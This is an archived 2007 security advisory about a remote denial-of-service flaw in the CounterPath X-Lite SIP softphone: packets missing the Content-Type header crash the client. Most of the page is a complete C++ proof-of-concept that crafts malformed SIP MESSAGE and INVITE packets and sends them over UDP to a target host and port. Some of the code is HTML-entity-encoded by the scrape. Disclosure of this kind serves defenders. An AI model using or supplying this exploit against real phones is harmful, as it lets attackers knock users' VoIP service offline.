Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17782
HistoryAug 14, 2007 - 12:00 a.m.

CounterPath X-Lite SIP phone Remote Denial of Service vulnerability

2007-08-1400:00:00
vulners.com
12

Title

CounterPath X-Lite SIP phone Remote Denial of Service vulnerability

Date

10 August 2007

Affected Software

X-Lite versions 3.x (tested on 3.0 34025)
Maybe eyeBeam also ;)

Overview

X-Lite by CounterPath Solutions, Inc. is a free and wild used SIP based softphone. More information about X-Lite

can be found here: www.counterpath.com
A message validation check flaw in X-Lite SIP phone implementation may allow a remote attacker to crash the phone

causing denial of service.

Vulnerability Description

The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of

INVITE or MESSAGE will be ok. MESSAGE is a sip method for Instant Messaging.
After X-Lite receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability",

it will be crash.

Solution

Not really.

Credit

This vulnerability was discovered by Zwell. http://www.nosec.org

PoC

/main.cpp*/
#include <stdio.h>
#include <string>
using namespace std;

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif

char *craft_pkt[] =
{
"MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
"From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
"To: <sip:[TOADDR]>\r\n"
"Call-ID: [CALLID]@[DOMAIN]\r\n"
"CSeq: [CSEQ] MESSAGE\r\n"
"Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
"Content-Length: 0\r\n\r\n",

    &quot;INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0&#92;r&#92;n&quot;
    &quot;Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]&#92;r&#92;n&quot;
    &quot;To: &lt;sip:[TOADDR]&gt;&#92;r&#92;n&quot;
    &quot;From: [FROMUSER] &lt;sip:[FROMADDR]:[LOCALPORT]&gt;;tag=[TAG]&#92;r&#92;n&quot;
    &quot;Call-ID: [CALLID]@[DOMAIN]&#92;r&#92;n&quot;
    &quot;CSeq: [CSEQ] INVITE&#92;r&#92;n&quot;
    &quot;Contact: &lt;sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]&gt;&#92;r&#92;n&quot;
    &quot;Content-Length: 0&#92;r&#92;n&#92;r&#92;n&quot;,

};

void socket_init()
{
#ifdef WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}

unsigned long resolv(const char *host)
{
struct hostent *hp;
unsigned long host_ip;

    host_ip = inet_addr&#40;host&#41;;
    if&#40; host_ip == INADDR_NONE &#41;
    {
            hp = gethostbyname&#40;host&#41;;
            if&#40;!hp&#41;
            {
                    printf&#40;&quot;&#92;nError: Unable to resolve hostname &#40;&#37;s&#41;&#92;n&quot;,host&#41;;
                    exit&#40;1&#41;;
            }
            else
                    host_ip = *&#40;u_long*&#41;hp-&gt;h_addr ;
    }

    return&#40;host_ip&#41;;

}

SOCKET udpsocket()
{
/* network */
SOCKET sockfd;
struct sockaddr_in laddr, raddr;

    sockfd = socket&#40;AF_INET, SOCK_DGRAM, 0&#41;;
    if &#40;sockfd == -1&#41;
            goto error;

    memset&#40;&#40;char *&#41; &amp;laddr, 0, sizeof&#40;laddr&#41;&#41;;
    laddr.sin_family = AF_INET;
    laddr.sin_addr.s_addr = htonl&#40;INADDR_ANY&#41;;
    if &#40;bind&#40;sockfd, &#40;struct sockaddr *&#41; &amp;laddr, sizeof&#40;laddr&#41;&#41; == -1&#41;
            goto error;

    return sockfd;

error:
#ifdef WIN32
printf("Error:%d\n", GetLastError());
#endif
return 0;
}

string &replace_all(string &str,const string& old_value,const string& new_value)
{
while(true)
{
string::size_type pos(0);
if( (pos=str.find(old_value))!=string::npos)
str.replace(pos,old_value.length(),new_value);
else break;
}
return str;
}

string &replace_with_rand(string &str, char *value, int len)
{
char *strspace = "0123456789";
char randstr[100];
for(int i=0; i<len; i++)
{
do
{
randstr[i] = strspace[rand()%strlen(strspace)];
}while(randstr[i] == '0');
}
randstr[len] = 0;
replace_all(str, value, randstr);
return str;
}

string build_packet(string _packet, char *addr, char *host)
{
string packet = _packet;
replace_all(packet, "[FROMADDR]", addr);
replace_all(packet, "[TOADDR]", host);
replace_all(packet, "[DOMAIN]", "www.nosec.org");
replace_all(packet, "[FROMUSER]", "siprint");
replace_with_rand(packet, "[CSEQ]", 9);
replace_with_rand(packet, "[CALLID]", 9);
replace_with_rand(packet, "[TAG]", 9);
replace_with_rand(packet, "[BRANCH]", 9);
return packet;
}

int main(int argc, char **argv)
{
char *host;
int port;
char *localip;
struct sockaddr_in sockaddr;
struct sockaddr_in raddr;
int sockaddrlen = sizeof(sockaddr);
SOCKET s;

    printf&#40;&quot;X-Lite Missing Content-Type DOS PoC&#92;n&quot;&#41;;

    if&#40;argc != 4&#41;
    {
            printf&#40;&quot;usage : &#37;s &lt;host&gt; &lt;port&gt; &lt;localip&gt;&#92;n&quot;, argv[0]&#41;;
            exit&#40;-1&#41;;
    }

    host = argv[1];
    port = atoi&#40;argv[2]&#41;;
    localip = argv[3];

    socket_init&#40;&#41;;
    s = udpsocket&#40;&#41;;
    if&#40;s == 0&#41;
    {
            printf&#40;&quot;Create udp socket error!&#92;n&quot;, host, port&#41;;
            return 1;
    }
    memset&#40;&amp;sockaddr, 0, sockaddrlen&#41;;
    getsockname&#40;s, &#40;struct sockaddr *&#41; &amp;sockaddr, &#40;int *&#41; &amp;sockaddrlen&#41;;
    
    raddr.sin_family = AF_INET;
    raddr.sin_addr.S_un.S_addr = resolv&#40;host&#41;;
    raddr.sin_port = htons&#40;port&#41;;
    for&#40;int i=0; i&lt;20; i++&#41;
    {
            char portstr[6] = {&#39;&#92;0&#39;};
            string packet = build_packet&#40;craft_pkt[i&#37;2], localip, host&#41;;
            sprintf&#40;portstr, &quot;&#37;d&quot;, ntohs&#40;sockaddr.sin_port&#41;&#41;;
            replace_all&#40;packet, &quot;[LOCALPORT]&quot;, portstr&#41;;
            //printf&#40;&quot;===========&#92;n&#37;s&#92;n===========&#92;n&quot;, packet.c_str&#40;&#41;&#41;;
            writeto&#40;s, packet.c_str&#40;&#41;, packet.length&#40;&#41;, &#40;struct sockaddr*&#41;&amp;raddr, sockaddrlen&#41;;
            Sleep&#40;100&#41;;
    }

    return 0;

}